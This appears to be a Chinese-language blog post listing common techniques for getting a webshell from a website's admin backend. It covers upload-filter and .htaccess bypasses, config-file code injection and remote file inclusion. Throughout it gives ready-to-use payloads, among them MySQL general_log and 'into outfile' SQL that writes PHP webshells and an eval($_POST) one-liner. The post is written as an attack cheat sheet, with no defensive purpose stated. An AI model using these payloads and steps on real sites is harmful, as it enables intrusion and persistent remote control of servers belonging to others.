天天看點

背景getshell常用技巧

1.利用檔案上傳漏洞,找檔案上傳處想辦法上傳php檔案。

一些網站在設定可以允許修改上傳的檔案類型則直接添加php

背景getshell常用技巧

有時候會還有檢測是否為php檔案,可以通過檔案名變形,大小寫,雙寫等形式繞過,隻要是黑名單的都比較好繞過

很多cms還有.hatccess檔案禁止通路或者執行這個目錄下的檔案的情況

這種情況直接上傳一個.hatccess檔案覆寫這個,讓其失效。

或者上傳不重命名的話上傳../../shell.php 傳到其他不被限制通路的目錄

或者找任意檔案删除漏洞把.hatccess檔案删除

2.找檔案配置的地方寫入php代碼,一般都有過濾的,想辦法繞過

過濾單引号的話可以用注釋把上一個的内容注釋掉 在下一個參數配置注入代碼

效果如下

$conf_1 ='xx\';

$conf_2 = ';phpinfo();//'

這樣就相當于

$conf_1 ='xx\';$conf_2 = ';

phpinfo();

php代碼就可以執行了,防護比較弱的話直接通路這個配置檔案就可以getshell了。

防護比較好禁止通路配置檔案時,就找包含這個配置檔案的檔案即可。

3.找有沒有存在任意檔案包含的地方,本地包含的話直接上傳php代碼的圖檔,遠端包含的話就在自己的伺服器上設定php代碼檔案

4.sql注入getshell 要知道網站的絕對路徑

方法一:利用設定mysql log為php檔案,并設定路徑到網站目錄下,這樣就可以把sql中執行的php語句插入的log中了

如:

SETglobal general_log='on';

SETglobalgeneral_log_file='D:/webshell/WWW/shell.php';#如果沒有shell.php會自動建立

SELECT'<?php assert($_POST["cmd"]);?>';

方法二:

select "<?php phpinfo(); ?>" into outfile 'shell路徑.php'

5.遠端圖檔檔案下載下傳

有時候遠端圖檔下載下傳的時候,可以設定一下下載下傳自己的php檔案

如 自己伺服器上的檔案1.php

<?php

echo "<?php phpinfo(); ?>";

?>

或者别的方式,讓頁面有php代碼,如果不過濾字尾的話直接會下載下傳這個php檔案

6.zip解壓getshell

這個再系統更新或者插件安裝的地方很多都有這個問題。上傳shell.php在壓縮包中,上傳系統更新時會解壓縮,那麼就可以getshell

7.緩存寫入

有些地方會把緩存寫入到一個php檔案裡,想辦法讓自己的payload寫入緩存中

8.資料庫備份getshell

有些提供功能可以通過資料庫備份進行修改檔案字尾。

9.編輯模闆getshell

在網站編輯模闆插入一句話

10.指令執行拿webshell

echo <?php @eval($_POST(a));?> >路徑.php

可以用相對路徑也可以用絕對路徑

11.編輯器漏洞getshell

要留意cms使用的編輯器版本是否是已知漏洞的版本

12.利用檔案解析漏洞拿webshell

13.找可以執行代碼的函數,看看參數是否可控

14.找寫檔案的函數,看看檔案字尾和内容是否可控

15.沒有進入背景

0day拿webshell

IIS寫權限拿webshell(put一個shell進去)

指令執行拿webshell

通過注入漏洞拿webshell

前台圖檔上傳拿webshell

Strusts2拿webshell

java反序列拿shell

繼續閱讀